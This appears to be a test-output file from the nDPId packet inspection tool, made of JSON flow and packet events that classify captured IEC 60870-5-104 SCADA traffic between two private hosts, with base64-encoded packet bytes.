+00425{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992291,"pkt_ts_usec":324568,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQVxAAIAGcHmsG\/hPrBv4bQlkBiDrZdPIeretX1AY\/+pJFQAAaASDAAAA"} +00426{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992291,"pkt_ts_usec":478741,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobUFAAIAGRJqsG\/htrBv4TwYgCWR6t61f62XTzlAQ\/\/NwHAAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1219992393215,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1570,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":215803,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbYNAAIAGRFCsG\/htrBv4TwYiCWRtLtqlAAAAAHAC\/\/\/i0AAAAgQFtAEBBAI="} +00429{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":215922,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQXdAAIAGcFysG\/hPrBv4bQlkBiJI3nuobS7apnAS\/\/8eOQAAAgQFtAEBBAI="} +00426{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":216061,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobYRAAIAGRFesG\/htrBv4TwYiCWRtLtqmSN57qVAQ\/\/9K\/QAAAAAAAAAA"} +00426{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":217157,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubYVAAIAGRFCsG\/htrBv4TwYiCWRtLtqmSN57qVAY\/\/\/b6gAAaAQHAAAA"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1219992393215,"flow_last_seen":1219992393217,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1570,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00425{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":220279,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQXhAAIAGcF2sG\/hPrBv4bQlkBiJI3nupbS7arFAY\/\/lJFQAAaAQLAAAA"} +00425{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992393,"pkt_ts_usec":418249,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobYZAAIAGRFWsG\/htrBv4TwYiCWRtLtqsSN57r1AQ\/\/lK9wAAAAAAAAAA"} +00441{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992435,"pkt_ts_usec":817781,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABXFGNTMABNy14eKCABFAAA4bZRAAIAGRDesG\/htrBv4TwYiCWRtLtqsSN57r1AY\/\/nkBQAABwcHBwcHB2gFFxcXFxcXFw=="} +00416{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992435,"pkt_ts_usec":937294,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQXlAAIAGcGKsG\/hPrBv4bQlkBiJI3nuvbS7avFAQ\/+lJDwAA"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":38,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":29,"flow_first_seen":1219992231267,"flow_last_seen":1219992392222,"flow_tot_l4_data_len":683,"flow_min_l4_data_len":20,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1568,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992453,"pkt_ts_usec":216815,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubZdAAIAGRD6sG\/htrBv4TwYiCWRtLtq8SN57r1AY\/\/mf1AAAaARDAAAA"} +00425{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992453,"pkt_ts_usec":218211,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQXpAAIAGcFusG\/hPrBv4bQlkBiJI3nuvbS7awlAY\/+NJFQAAaASDAAAA"} +00426{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992453,"pkt_ts_usec":466251,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobZhAAIAGREOsG\/htrBv4TwYiCWRtLtrCSN57tVAQ\/\/NK4QAAAAAAAAAA"} +00442{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992485,"pkt_ts_usec":279667,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"ABXFGNTMABNy14eKCABFAAA6baBAAIAGRCmsG\/htrBv4TwYiCWRtLtrCSN57tVAY\/\/NiQAAACAgICAgICAhoBhgYGBgYGBgY"} +00417{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992485,"pkt_ts_usec":281875,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQXxAAIAGcF+sG\/hPrBv4bQlkBiJI3nu1bS7a1FAR\/9FJDwAA"} +00426{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992485,"pkt_ts_usec":282039,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobaFAAIAGRDqsG\/htrBv4TwYiCWRtLtrUSN57tlAQ\/\/NKzgAAAAAAAAAA"} +00426{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992485,"pkt_ts_usec":282569,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobaJAAIAGRDmsG\/htrBv4TwYiCWRtLtrUSN57tlAR\/\/NKzQAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1219992486295,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1571,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":295923,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbaNAAIAGRDCsG\/htrBv4TwYjCWQlpaXOAAAAAHAC\/\/9fMAAAAgQFtAEBBAI="} +00429{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":296052,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQX5AAIAGcFWsG\/hPrBv4bQlkBiP13h8HJaWlz3AS\/\/9KOQAAAgQFtAEBBAI="} +00426{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":296202,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobaRAAIAGRDesG\/htrBv4TwYjCWQlpaXP9d4fCFAQ\/\/92\/QAAAAAAAAAA"} +00425{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":297425,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubaVAAIAGRDCsG\/htrBv4TwYjCWQlpaXP9d4fCFAY\/\/8H6wAAaAQHAAAA"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1219992486295,"flow_last_seen":1219992486297,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1571,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00417{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":468944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQX9AAIAGcFysG\/hPrBv4bQlkBiP13h8IJaWl1VAQ\/\/lJDwAA"} +00425{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":669954,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQYBAAIAGcFWsG\/hPrBv4bQlkBiP13h8IJaWl1VAY\/\/lJFQAAaAQLAAAA"} +00425{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992486,"pkt_ts_usec":935574,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobaZAAIAGRDWsG\/htrBv4TwYjCWQlpaXV9d4fDlAQ\/\/l29wAAAAAAAAAA"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":53,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":16,"flow_first_seen":1219992393215,"flow_last_seen":1219992485282,"flow_tot_l4_data_len":394,"flow_min_l4_data_len":20,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1570,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992546,"pkt_ts_usec":671779,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubblAAIAGRBysG\/htrBv4TwYjCWQlpaXV9d4fDlAY\/\/nL5AAAaARDAAAA"} +00425{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992546,"pkt_ts_usec":673258,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQYFAAIAGcFSsG\/hPrBv4bQlkBiP13h8OJaWl21AY\/\/NJFQAAaASDAAAA"} +00426{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992546,"pkt_ts_usec":983652,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobbpAAIAGRCGsG\/htrBv4TwYjCWQlpaXb9d4fFFAQ\/\/N28QAAAAAAAAAA"} +00438{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992580,"pkt_ts_usec":219326,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"ABXFGNTMABNy14eKCABFAAA1bb9AAIAGRA+sG\/htrBv4TwYjCWQlpaXb9d4fFFAY\/\/O+nQAACAgICAgICAhoBhgYGA=="} +00417{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992580,"pkt_ts_usec":329098,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQYJAAIAGcFmsG\/hPrBv4bQlkBiP13h8UJaWl6FAQ\/+ZJDwAA"} +00426{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992589,"pkt_ts_usec":194723,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"ABXFGNTMABNy14eKCABFAAAtbcJAAIAGRBSsG\/htrBv4TwYjCWQlpaXo9d4fFFAY\/\/MupwAAGBgYGBgA"} +00417{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992589,"pkt_ts_usec":196644,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQYNAAIAGcFisG\/hPrBv4bQlkBiP13h8UJaWl7VAR\/+FJDwAA"} +00426{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992589,"pkt_ts_usec":196807,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobcNAAIAGRBisG\/htrBv4TwYjCWQlpaXt9d4fFVAQ\/\/N23gAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1219992590188,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1572,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":188368,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbcVAAIAGRA6sG\/htrBv4TwYkCWQxVG2fAAAAAHAC\/\/+LrwAAAgQFtAEBBAI="} +00430{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":188498,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQYVAAIAGcE6sG\/hPrBv4bQlkBiSd+ybXMVRtoHAS\/\/\/GywAAAgQFtAEBBAI="} +00426{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":188640,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobcZAAIAGRBWsG\/htrBv4TwYkCWQxVG2gnfsm2FAQ\/\/\/zjwAAAAAAAAAA"} +00425{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":189788,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubcdAAIAGRA6sG\/htrBv4TwYkCWQxVG2gnfsm2FAY\/\/+EfQAAaAQHAAAA"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1219992590188,"flow_last_seen":1219992590189,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1572,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00425{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":192812,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQYZAAIAGcE+sG\/hPrBv4bQlkBiSd+ybYMVRtplAY\/\/lJFQAAaAQLAAAA"} +00425{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992590,"pkt_ts_usec":406364,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobchAAIAGRBOsG\/htrBv4TwYkCWQxVG2mnfsm3lAQ\/\/nziQAAAAAAAAAA"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":69,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":17,"flow_first_seen":1219992486295,"flow_last_seen":1219992589197,"flow_tot_l4_data_len":398,"flow_min_l4_data_len":20,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1571,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992650,"pkt_ts_usec":189448,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubhRAAIAGQ8GsG\/htrBv4TwYkCWQxVG2mnfsm3lAY\/\/lIdwAAaARDAAAA"} +00425{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992650,"pkt_ts_usec":190856,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQYhAAIAGcE2sG\/hPrBv4bQlkBiSd+ybeMVRtrFAY\/\/NJFQAAaASDAAAA"} +00445{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992650,"pkt_ts_usec":408217,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABXFGNTMABNy14eKCABFAAA8bhVAAIAGQ7KsG\/htrBv4TwYkCWQxVG2snfsm5FAY\/\/NbXgAACQkJCQkJCQkJaAYZGRkZGRkZGRk="} +00417{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992650,"pkt_ts_usec":548424,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQYlAAIAGcFKsG\/hPrBv4bQlkBiSd+ybkMVRtwFAQ\/99JDwAA"} +00438{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992676,"pkt_ts_usec":462955,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"ABXFGNTMABNy14eKCABFAAA2bh1AAIAGQ7CsG\/htrBv4TwYkCWQxVG3Anfsm5FAY\/\/OmmwAACQkJCQkJCQkJaAYZGRk="} 